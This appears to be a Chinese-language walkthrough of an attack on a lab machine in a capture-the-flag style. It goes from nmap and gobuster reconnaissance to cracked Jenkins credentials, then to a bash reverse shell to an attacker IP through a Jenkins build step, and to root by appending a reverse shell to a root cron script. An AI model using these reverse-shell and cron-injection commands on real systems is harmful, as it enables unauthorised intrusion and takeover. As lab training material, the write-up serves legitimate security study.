1.信息收集
1.1 主机发现
nmap -sn 192.168.197.0/24
确定目标的IP地址为192.168.197.156
1.2 端口扫描
nmap --min-rate 10000 -p- 192.168.197.156
可以看到开放了4个端口 22,80,3306,8080
1.3 详细信息扫描
对开放端口进行TCP和UDP扫描
nmap -sT -sV -O -p22,80,3306,8080 192.168.197.156
nmap -sU --top-ports 20 192.168.197.156
使用nmap 自带的漏洞脚本扫描
nmap --script=vuln -p22,80,3306,8080 192.168.197.156
2.系统攻击面分析
访问 80 端口,看到如下web页面
未发现可利用功能点,尝试目录爆破,dirb http://192.168.197.156,只爆出一个index页面
换其它爆破试试
gobuster dir -u http://192.168.197.156 --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
SecLists是OWASP维护的一个安全信息列表集合。该集合包括了用于渗透的各种类型的列表。这些列表包含了237个字典文件以及常用的Web Shell攻击载荷。字典文件类型众多,包括用户名、密码、域名、敏感数据特征码、模糊测试载荷等。可以通过apt install seclists下载它。
同样没爆出什么页面
添加参数再次尝试:gobuster dir -u http://192.168.197.156 --wordlist=/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -x html,php
-x:指定扩展名
爆出 access.html 页面,尝试访问,发现三组用户名及 md5 值的组合
解密得:
tiago:italia99
trindade:marianna
eder:vipsu
访问 8080 端口是一个登录页面,用上面的eder 用户成功登录
可以看到它是一个 Jenkins 内容管理系统,Jenkins 是一个 开源软件项目,是基于 Java 开发的一种 持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台。新建一个项目 (New Item),查看是否存在可利用的点,在 Build 项发现可以执行 shell (Execute shell)。
在这里写一条反弹 shell 命令,同时 kali 开启监听
/bin/bash -i >& /dev/tcp/192.168.197.132/4444 0>&1
3.提权
可以看到当前用户是 jenkins, sudo -l 提示没有任何权限;查看自动任务,cat /etc/crontab
系统每 5 分钟以 root 权限执行 CleaningScript.sh 脚本,查看脚本内容:cat /etc/script/CleaningScript.sh,是一条删除访问日志的命令
由于系统是以 root 权限运行这个脚本,我们可以在这个脚本当中写入命令来实现提权
echo "/bin/bash -i >& /dev/tcp/192.168.197.132/5555 0>&1" >> /etc/script/CleaningScript.sh
将 bash 命令追加到 CleaningScript.sh 文件中,同时 kali 开启监听,理论上 5 分钟内可以获得反弹 shell
成功拿到 root 权限,这台机器渗透测试完成!
4.总结
首先端口扫描发现了80和8080两个web端口,通过对两个web端口的浏览和目录爆破,发现它是一套Jenkins内容管理系统,8080端口是这个系统的登录界面;
我们并不知道登录用户名,密码,联想想到三种方式:1.暴力破解 2.网上寻找这套系统的默认密码 3.弱密码;
在对80端口的目录爆破中发现了access.html页面,存放有md5加密的3组用户名密码值,破解之后获得明文密码,在8080端口尝试登录,发现eder账号可以登录;
进入后台是Jenkins内容管理系统,利用方式相对固定,需要经验,没有经验可以去网上搜索公开的利用方式;
Jenkins新建一个项目的时候,在Build里可以执行shell命令,我们写入了反弹shell命令,获得了初始shell,但权限非常受限;
于是通过crontab自动任务查看到CleaningScript.sh脚本每5分钟以root权限执行一次,将bash命令追加到这个文件中,最终获得了root权限。